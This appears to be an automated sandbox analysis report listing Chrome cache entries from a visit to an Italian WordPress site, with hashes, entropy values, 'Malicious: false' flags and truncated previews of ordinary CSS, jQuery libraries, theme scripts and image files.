URL:	https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-gdpr.css?ver=3.0.5
Preview:	.gdpr-container-fluid {..width: 100%;..padding-right: 15px;..padding-left: 15px;..margin-right: auto;..margin-left: auto;.}..gdpr-row {..display: -ms-flexbox;..display: flex;..-ms-flex-wrap: wrap;..flex-wrap: wrap;..margin-right: -15px;..margin-left: -15px;.}..gdpr-col-4 {..-ms-flex: 0 0 33.333333%;..flex: 0 0 33.333333%;..max-width: 33.333333%;.}..gdpr-col-8 {..-ms-flex: 0 0 66.666667%;..flex: 0 0 66.666667%;..max-width: 66.666667%;.}..gdpr-align-items-stretch {..-ms-flex-align: stretch!important;..align-items: stretch!important;.}..gdpr-d-flex {..display: -ms-flexbox!important;..display: flex!important;.}..gdpr-px-0 {..padding-left: 0;..padding-right: 0;.}..modal-backdrop.show {..opacity: .8;.}..modal-open {..overflow: hidden.}...modal-open .gdpr-modal {..overflow-x: hidden;..overflow-y: auto.}...gdpr-modal.fade .gdpr-modal-dialog {..transition: -webkit-transform .3s ease-out;..transition: transform .3s ease-out;..transition: transform .3s ease-out,-webkit-transform .3s ease-out;..-w

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	7813
Entropy (8bit):	4.843759246435122
Encrypted:	false
SSDEEP:	192:hXgeYzGBIPrEuG9LSWb91BXitptrYGS3M6:hgeYzMgRG9dEtriM6
MD5:	9E8F00CF421DFC22847BC5D22834B45E
SHA1:	ADF8D36362B5313B3BEDDF5642109DDB8E5BBB09
SHA-256:	E57EC9E9ED2249AA9614B2782F4D435EB10116B001D94BD83B99FD83BBA18B08
SHA-512:	B792A12B8160BADA54D0264F16DB2B0DC3BFFF663C1D77E69B7E692B9E78B8FDDE507BD7D757CD918F6B21FBE2B8AD3C71FF2D13F824E740E977D15AABB7D9C0
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// contact form ajax.// -------------------------------------------------------------------------------------------..(function($).{..$.fn.avia_ajax_form = function(variables)..{....var defaults =...{....sendPath: 'send.php',....responseContainer: '.ajaxresponse'...};....var options = $.extend(defaults, variables);....return this.each(function()...{....var form = $(this),.....form_sent = false,.....send =.....{......formElements: form.find('textarea, select, input[type=text], input[type=checkbox], input[type=hidden]'),......validationError:false,......button : form.find('input:submit'),......dataObj : {}.....},......responseContainer = form.next(options.responseContainer+":eq(0)");......send.button.on('click', checkElements);...............//change type of email forms on mobile so the e-mail keyboard with @ sign is used.....if($.avia_utilities.isMobile).....{......send.formElements.each(functi

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.541846526034853
Encrypted:	false
SSDEEP:	24:zOw+YowDarA3MJ5ggwoNAqrfXUZd6BUsCbg8:zOXuDaU34wEAqrPUiiVbg8
MD5:	62D053EF68A8DCE3A6595396086E192E
SHA1:	5A5FE6E0C60D515CFAB5B0CF9A3FE2A83D01D8B1
SHA-256:	8DED5C193148B101466930D55F68FDAB3D3580145476210D4CBE814395798A50
SHA-512:	00D4BDD7D6573EABC0F9AA7A0B9E7E4433C9B3B7D1254A909A26212D265805EFF5A8EC0459770346DCEB57011EF94AEC161EB38CB1553C87E1E422DFD4ABAFDA
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Catalogue.====================================================================================================================================================== */...av-catalogue-container{margin:30px 0;}..av-catalogue-heading{ text-align: center; padding-bottom: 15px; font-weight: normal; letter-spacing: 1px;}..av-catalogue-list{ border-top: 1px dashed; margin:0;}..av-catalogue-list li{list-style-type: none; margin:0; border-bottom: 1px dashed; padding:0; clear:both;}.#top .av-catalogue-item{text-decoration: none; padding:10px 5px; display: block; overflow: hidden; }.div.av-catalogue-item:hover{cursor:default;}..av-catalogue-title-container{position: relative; font-size: 1.3em; line-height: 1.4em;}..av-catalogue-title{padding-right:60px; text-transform: uppercase; }..av-catalogue-price{position: absolute; right:0; top:0;}...av-catal

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11126)
Category:	dropped
Size (bytes):	11224
Entropy (8bit):	5.2603128465032745
Encrypted:	false
SSDEEP:	192:JrprDNvD66fPP/+I6OP1fQP0OIr96DB6MHXcwr1RF:JrprxG6fPP3P1fQMOIsDsMMS
MD5:	79B4956B7EC478EC10244B5E2D33AC7D
SHA1:	A46025B9D05E3DF30D610A8AEF14F392C7058DC9
SHA-256:	029E0A2E809FD6B5DBE76ABE8B7A74936BE306C9A8C27C814C4D44AA54623300
SHA-512:	217F86FEE871FA36ECA4F25830E3917C7BF57A681140B135C508AA32F2A1E3EFF5A80661F3B5BA46747D0C305AF10B658D207F449550F3D417D9683216FEEA8F
Malicious:	false
Reputation:	low
Preview:	/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:uZuUeB:u5eB
MD5:	53AF239EE5D3E261545DEDEDCB6FFD57
SHA1:	04CA7E137E1E9FEEAD96A7DF45BB67D5AB3DE190
SHA-256:	99EB12F2AB3C4866A353E098FFA3CB7A967E617C49B98480394EC5D8EA92B094
SHA-512:	C734E4A5FF5D335A91518DBF47861BDAF8012AF49371DCD2E3350E269C9A5A1CC094114D17C4F5B053F3757B4B07487EBD0D309C91EF97ACF4665CC5D5C9A2D3
Malicious:	false
Reputation:	low
Preview:	404 page not found

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5625
Entropy (8bit):	4.878273363741113
Encrypted:	false
SSDEEP:	96:wnrW+bBUZafeWmSip+GWRRc5Zor5ZJkf1Cr6HWVwer:wC2UZafeWg+GWQmJkCr6C
MD5:	186D34DB6D4ACC17DC4E66BEE448BAD3
SHA1:	76592404E604D0C90496D56372825A7EE725A1E6
SHA-256:	080705ED953BE6AD5A5F2E37205DD7A45EE534D68A193479235DB9DAB459B0FB
SHA-512:	1DF76EFE5C250251850194B7BA944540EBA250DEC60E56B430EA0E8B4DC1E5469ACEAA3FADB2A8973A0D65783AE094F32FC10015F89E81CDD1884403AD4BEF38
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Fullscreen Slideshow .// .// extends avia slideshow script with a more sophisticated preloader and fixed size for slider.// -------------------------------------------------------------------------------------------..(function($).{. "use strict";...$.AviaFullscreenSlider = function(options, slider)..{.. this.$slider .= $( slider ); .. this.$inner. .= this.$slider.find('.avia-slideshow-inner');.. this.$innerLi.= this.$inner.find('>li');.. this.$caption .= this.$inner.find('.avia-slide-wrap .caption_container');.. this.$win. .= $( window );.. this.isMobile .= $.avia_utilities.isMobile;.. this.property .= {};.. this.scrollPos.= "0";.. this.transform3d= document.documentElement.className.indexOf('avia_transform3d') !== -1 ? true : false;.. this.ticking .= false; .. .. .. if($.avia_utilities.supported.transition === undefined)...{....$.avia_utiliti

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1857
Entropy (8bit):	4.795103354238156
Encrypted:	false
SSDEEP:	24:tg7ao5Nc45b+bkyMYKeEnr7Y9rNlFY4pJYwJcZ:tYZNcmqodnr7qr9T/JY
MD5:	F825436B26DD16D5BFB38691C3F285F8
SHA1:	5A5A4D0BC555C6FAF57F0EE624FFE74F54FBDD1A
SHA-256:	9C15F548ED74B91FB01011415681EFCC653D080F0FCEE95B0460BD9C2602B4FA
SHA-512:	56C690B8DBBD78AF2397B31AF9239F16956A57CF7C7964C480C3BEADB0DD1106D043908388068EA88C98D90CFA0BC88A06557D65132E844C7E4A3DC40B7DBB14
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Video.====================================================================================================================================================== /...avia-video, .avia-iframe-wrap{clear:both; position: relative; margin-bottom:20px; }...avia-video, .avia-video iframe, .avia-video video{background-color: #000;}../responsive iframe trick/..avia-video iframe, .js_active .avia-iframe-wrap iframe, div .avia-video .avia-iframe-wrap{position: absolute; width:100%; height:100%; left:0; top:0; padding:0;}..avia-video-custom{height:0;}..avia-video-16-9, .js_active .avia-iframe-wrap{padding-bottom: 56.25%; height:0;}..avia-video-4-3{padding-bottom: 75%; height:0;}../html 5 video - always has 100 width and natural height. behaves like image when it comes to aspect ratio*/..video{..width:100%;..height:auto;.}...mejs-layer {. z-ind

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32004)
Category:	downloaded
Size (bytes):	49143
Entropy (8bit):	5.137636357602033
Encrypted:	false
SSDEEP:	768:9fyxzGdHc1zfA9ZVP4eAnmc6FumKSshD6cD6GLQfq9SvDz2d1FxSuWBlb7myLBK:Ux6dOjARP4Nnmc6FuCshD6cD6xS9ODzw
MD5:	F680B1A267329287C8ED3358EF7732EB
SHA1:	A11BE43086599CBC7BA370602C038161356F38B6
SHA-256:	986AFF2E526C11746107D4F08E128BC6BB8312C4750710BB4F673D7C52F9BA7B
SHA-512:	04DC2AE7FFDA9BE7C8A3B2BEC0DA219CFA08E322F932E336270B0C49DAA6569904ABC330E90F97B333D1AA98AF2B9FA492C0A4C6B7816ABFB3B263D26082F996
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/isotope.js?ver=6.0.9
Preview:	/!. Isotope PACKAGED v3.0.5. . Licensed GPLv3 for open source use. * or Isotope Commercial License for commercial use. . https://isotope.metafizzy.co. * Copyright 2017 Metafizzy. */..!function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,s,a){function u(t,e,o){var n,s="$()."+i+'("'+e+'")';return t.each(function(t,u){var h=a.data(u,i);if(!h)return void r(i+" not initialized. Cannot call methods, i.e. "+s);var d=h[e];if(!d\|\|"_"==e.charAt(0))return void r(s+" is not a valid method");var l=d.apply(h,o);n=void 0===n?l:n}),void 0!==n?n:t}function h(t,e){t.each(function(t,o){var n=a.data(o,i);n?(n.option(e),n._init()):(n=new s(o,e),a.data(o,i,n))})}a=a\|\|e\|\|t.jQuery,a&&(s.prototype.option\|\|(s.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	482
Entropy (8bit):	4.626408410219915
Encrypted:	false
SSDEEP:	12:t41WffFcfbpmO7+iCC4Mfiz9DI9T5VN5Tlp9jyuyuH+/:t414fFmpmOaiCC4MfWRsN19jyHYk
MD5:	212E30E47232BE03033A87DC58EDAA95
SHA1:	4D69C4A3DC57503E08B76C774135BFE83E8B1F51
SHA-256:	1F026BEB67630ABCDBC341651B1C17591AA76261296A9FB118793765964EB4E9
SHA-512:	13F153263DBF35F91793E8F3FE7249CE87C4854620C2D97F79646C70BBB2F71C5C3759496FFD101FBC6EF9657B19595FE782200649A96473BECD1AD7DAE1F72E
Malicious:	false
Reputation:	low
URL:	https://s.w.org/images/core/emoji/14.0.0/svg/2705.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><path fill="#77B255" d="M36 32c0 2.209-1.791 4-4 4H4c-2.209 0-4-1.791-4-4V4c0-2.209 1.791-4 4-4h28c2.209 0 4 1.791 4 4v28z"/><path fill="#FFF" d="M29.28 6.362c-1.156-.751-2.704-.422-3.458.736L14.936 23.877l-5.029-4.65c-1.014-.938-2.596-.875-3.533.138-.937 1.014-.875 2.596.139 3.533l7.209 6.666c.48.445 1.09.665 1.696.665.673 0 1.534-.282 2.099-1.139.332-.506 12.5-19.27 12.5-19.27.751-1.159.421-2.707-.737-3.458z"/></svg>

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 75 x 74, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	27289
Entropy (8bit):	5.290183523103714
Encrypted:	false
SSDEEP:	384:/JN9NvO3tS5vXqZTkNCM9r4TNgSJmlq9nScaXnuF4P:BN9Nv4t+XqZGwNgSJ4qlSzuF4P
MD5:	AD62A910EE89CB38055B4E8357284004
SHA1:	227041543BEC7A5208B0761A17DE888BD595B794
SHA-256:	68085A4480B125AB77222E871A3A3DE546F6BEF60C6E6AD638355BB23BE1DCD1
SHA-512:	B3D2AF1A4061A5F1139D1941F20B8C2DA39EF2C1CA08A4700AF651756DA9E4A355F2640ADE90126B963DDF4ECF4585BAC3B7DE9D00EA23799A8435AA21B3FFCB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...K...J.....\|p>.....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 284

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	23077
Entropy (8bit):	4.911677492624258
Encrypted:	false
SSDEEP:	384:gMybakaQxizORQOupjvwenWjWzvHaI8agy6Gupgd/6sbOxYv3:gPakxMznO0jFnWSbLryssYP
MD5:	9E21BB665D0B5A15EB7FCA931D60523B
SHA1:	F51855E2FF2F7BAB57CD03AA190D749CF90357C3
SHA-256:	157C0E609B5F8A0A961A305ADFD944420DBE37057248785A99175DF73FDD1A9F
SHA-512:	CDC1B9FC58F6C4C5D87191DB27C32F657E1845CC15A36705090BCDD0D22B07A0C45FF23E013EF6151494EE67C2870B8A01B5FE009CC3F002F97F63DC6A326E81
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA VIDEO API - make sure that youtube, vimeo and html 5 use the same interface.// .// requires froogaloop vimeo library and youtube iframe api (yt can be loaded async).// .// -------------------------------------------------------------------------------------------...(function($).{. "use strict";...$.AviaVideoAPI = function(options, video, option_container)..{....this.videoElement = video;......// actual video element. either iframe or video...this.$video.= $( video );......// container where the AviaVideoAPI object will be stored as data, and that can receive events like play, pause etc ...// also the container that allows to overwrite javacript options by adding html data- attributes...this.$option_container = option_container ? $( option_container ) : this.$video; ......// button to click to actually start the loading process of the video...this.load_btn = this.$option_conta

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89521
Entropy (8bit):	5.289973268315515
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1vM:DIh8GgP3hujzwbhd3XvSiDQ47GKq
MD5:	02DD5D04ADD4759122013C5AB4DC5CC2
SHA1:	A45A56E396AC549B4FF39B696CE9E0C16A7612DE
SHA-256:	BD4DE6A3FC0FB68D6F76BA7B93514B96A92E585C295B5351C31AD92A4B0777EA
SHA-512:	04690D9875E98F5AE6BF94F5C71B7A0177B374BC09609A0F58312E1C337348749A40E07FE226737DC248BD8FE2F6A489071258619AFFC7F1DF644E4255159615
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6692
Entropy (8bit):	4.916156028842652
Encrypted:	false
SSDEEP:	96:tydYchzMcUWgB1nYWDcbN4wJnWjwJk8TzIrOgO6AWV5RcZ7R/Y9:tMYzNYWDcbdcCkW65VMjY9
MD5:	A8083D6C5E2234AE35263CF86AB3EA07
SHA1:	0513AD94FDA268AD099C149767F4A97F351268DE
SHA-256:	B68A042795CB44D7818FCAE591DE596D70D414D0C31634016DB34E8E7C3BF8FB
SHA-512:	FFF43160545FB5AE509E9B9E8FE3FD877A0C15B10C65756453B8ED3C5AEDA42FB7BAD74CFE9DE235C3FD1DC20C95C8A488D53EA2A5A4DD4CFD3294CB53E9659E
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Table.====================================================================================================================================================== /../data table*/...div .avia-table {background: transparent; width:100%; clear:both; margin:30px 0; table-layout: fixed;}..avia-data-table .avia-heading-row .avia-desc-col{border-top:none; border-left:none;}..avia-data-table .avia-button-row td{text-align: center;}..avia-data-table .avia-center-col{text-align: center;}..avia-data-table td:before{display:none;}..avia-data-table .avia-pricing-row td, .avia-data-table .avia-pricing-row th{text-align: center; font-size: 40px; line-height: 1.3em}..avia-data-table .avia-desc-col{text-align: right;}..avia-data-table .avia-pricing-row small{display: block; font-size: 11px; font-style: italic; line-height: 1.7em; }..avia-data-table .avia

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	614
Entropy (8bit):	4.966361742203004
Encrypted:	false
SSDEEP:	12:9gGJJvPVimIt8zEaOWmlU1VwNcTXVElHLQmfKoMijyAvV+Y3XnTNfXmDH:999VimItHaOWX1GcTXCEz2ywXnpfOH
MD5:	9F0550AA2AF3E92B68101D207A65F9DD
SHA1:	DA64F09724EBA9F2EE89FFAFBA588625574CD7E2
SHA-256:	3CF7C0660C3BC7472D44B915CB0315D4E34D616AB229DFD3CEB7AECB2BDC5B1D
SHA-512:	92260F5B392C4FB13D7ECD162D48BE12C60E7E430CF0C2386472CA460565CDB30967F3DCFB9FA91F5B0CB29C5395826883EBC38054CDC2C877AEED9CB3334389
Malicious:	false
Reputation:	low
Preview:	.(function($).{.. "use strict";....$(document).ready(function()..{. .../*... Remove Themes duplicated language switcher flags from Burger menu... ..- exist in secondary menu... ..- exist beside search icon... */...$('body').on( 'avia_burger_list_created', '.av-burger-menu-main a', function(){....var s = $(this);.........//.allow DOM to build....setTimeout(function(){.....var switchers = s.closest('.avia-menu.av-main-nav-wrap').find('.av-burger-overlay').find('.language_flag');.....switchers.each( function(){........$(this).closest('li').remove();......});.....}, 200);...});..});.....})( jQuery );.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4481
Entropy (8bit):	4.959411901855455
Encrypted:	false
SSDEEP:	96:JaAxTfF1LYVXrJjzVB1XSq7oxN3cLeUM5iIJ1wlB:jOVbJHN7+j4IJ8
MD5:	5F06BA8AAB38E561844753088F41430E
SHA1:	572214AEE1E9B2E9421F6C428D68BFCD3EE480B0
SHA-256:	64B02B00715244E97EF63C0CBE3898BC82131E6C3E18535529DAA8A06994EF64
SHA-512:	613ABDB8C1583A90E690BC49E211DF36ADF54024721F4E184D984426A17BE399C67350423C4E844EA0F627844C99700081A3E72A29A2825F9B24703DB5E50E1B
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.SUBMENU.====================================================================================================================================================== */..#top .sticky_placeholder.{ height:51px; position: relative; clear:both; }.#top .av-submenu-container.{ min-height:52px; position: relative; width:100%; border-bottom-style: solid; border-bottom-width: 1px; -webkit-perspective: 1000px; -webkit-backface-visibility: hidden; font-size: 13px; line-height: 1.65em;}.#top .av-submenu-container.av-sticky-submenu{position: absolute;}..#top .av-submenu-container .container{padding:0 !important;}.#top .av-subnav-menu. { margin:0; }.#top .av-subnav-menu li {position: relative; display: block; margin:0;}.#top .av-subnav-menu > li {padding:15px 0; display: inline-block;}.#top .av-subnav-menu > li > a{padding:0px 10px 0px 12px; display:

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 333 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25096
Entropy (8bit):	4.968019197309454
Encrypted:	false
SSDEEP:	384:QJN9NvOKt05UD7aqNGnVlZg/3Xnf7TeHMJe:0N9NvJtB+DZg78MJe
MD5:	D80AC861EC95C47E067F19CF62DF6566
SHA1:	251E3EDC59011BD7D7B45059431C19E4EE9F31DE
SHA-256:	C510646040C6062D1369F5E7FAF1D2F9984036AC3EC49C204C6C4E0B79ED2FBF
SHA-512:	F406B238838565E9BCDD3B037D1153DFC96A0BD0DEADBC1B1B25AEF72D34777165EB24F710292DF046B905F83F9913A56E2538919E6F38684FDA442E33AD9A8F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...M...2.......d....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	7.393135725142834
Encrypted:	false
SSDEEP:	12:6v/7t5Z2Sk4hy7qYpClCUxPxZEZEx54fvYygSa7Aoqm4XK4Qi:GaHsXwZe5442kX6
MD5:	2878F64A0217A154E531853F6A822C65
SHA1:	AC7A53E9F53B9DE8A344C38222E217D50D559B83
SHA-256:	3F47C75FA68E49B1CDCA50C61E9CD6603B57C521E5E6809DF59A4A15E291A4EF
SHA-512:	0885BC73E9364C2B3C3730DCC5430E74BD17C3AB84F85A0FF33002BBBA95F6650622650BBAC35B05505978B58D98584F0C78B6A471E6449D33E333729C1FA0DC
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png
Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:13:07 +0100.......tIME........O.^....pHYs...........~.....gAMA......a.....IDATx.c._Y....._....``h..e.^...." ...Tp.k.w..?k.2}.`pu.zt....."{...@..............<..gzi....[.....zJ..<I.......C..JJ.ww.~&.D@....z.k3...6....3..!...:4..W?@.]>...D..PF."..?..=b@.O-,....h...{..=.... B...a`x...D.z.@.#Y....+).re..........3j.XY........g..MK.I...y..?..........V.5.~8......N....C...T.a.c.c.l..:....E......b.=...O.8&...k=.T....;..@.@...BBL::..].ul...5...-,v.....Z..<.$ .........G..5G......c-/.~\|.....}2.8.....IEND.B`.

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4572
Entropy (8bit):	4.891587200351582
Encrypted:	false
SSDEEP:	96:8Eey5f23X3esSoekexInW5fmQsisCoulvnmGbpAlTkBVTLC0oVT9:8EN5f23X37SornkmMdlvnmQpAlTkBFLk
MD5:	141D4C372D239520927095163E541D32
SHA1:	E340BCF0991973B23401F6F20BFB1DCFA13CE03A
SHA-256:	3A077C2F819F01AE4F445270DAC594E4CF4066EF576A50A15896C42E1E2FBE20
SHA-512:	D0D3459B0CB75468B5980A841F9BF2A2925CA5DA3F64315F355696705A3D12EF8417714E1E3D27353FF6FA4DD70C883B3A2816B46FB6B744D15C72C6B60C2B39
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Accordion/Toggle.====================================================================================================================================================== /.../toggle*/..js_active .toggle_wrap{.visibility: hidden;.position: absolute;.z-index: 0;.width: 100%;.left: 120%;.}...active_tc.toggle_wrap{.position: static;.visibility: visible;.left:0;.width:auto;.z-index: 1;.display: none;.}...js_active .toggler {.cursor: pointer;.display: block;.margin:0;.padding: 9px 3px 9px 35px;.position: relative;.top: 1px;.border-style:solid;.border-width:1px;.line-height: 1.65em;.-webkit-touch-callout: none;.-webkit-user-select: none;.-khtml-user-select: none;.-moz-user-select: none;.-ms-user-select: none;.user-select: none;.}...togglecontainer{.margin:30px 0;.position: relative;.clear: both;.}...togglecontainer .single_toggle:first-child

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 408 x 464, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18160
Entropy (8bit):	7.9507935414647015
Encrypted:	false
SSDEEP:	384:E6bVK9GIzUQWsZdSawiqS61S3z+Ai3Azy1tL62pW1l0Z86vjNPTN:E6pLIAw2aFqSWS3z+AMZ3k/6vhN
MD5:	CC6D2A2EBBDB4CA2D35C2A94F666E56C
SHA1:	7B9695FBE92878E751DB650F89A9E9A74279EE10
SHA-256:	DEDCB23076BE667A897F4A90BDE0BC80C6A6A58CFE68433BDE59546EB9B74EB5
SHA-512:	C9E27F2AAF2AEF1CA88C45EBA39DB2D1C16BAF6886EDDB39FB6723A97320E31697FB53AA8B885B1E445D2F361F91BE0A75B14399D990953D543735A400320E16
Malicious:	false
Reputation:	low
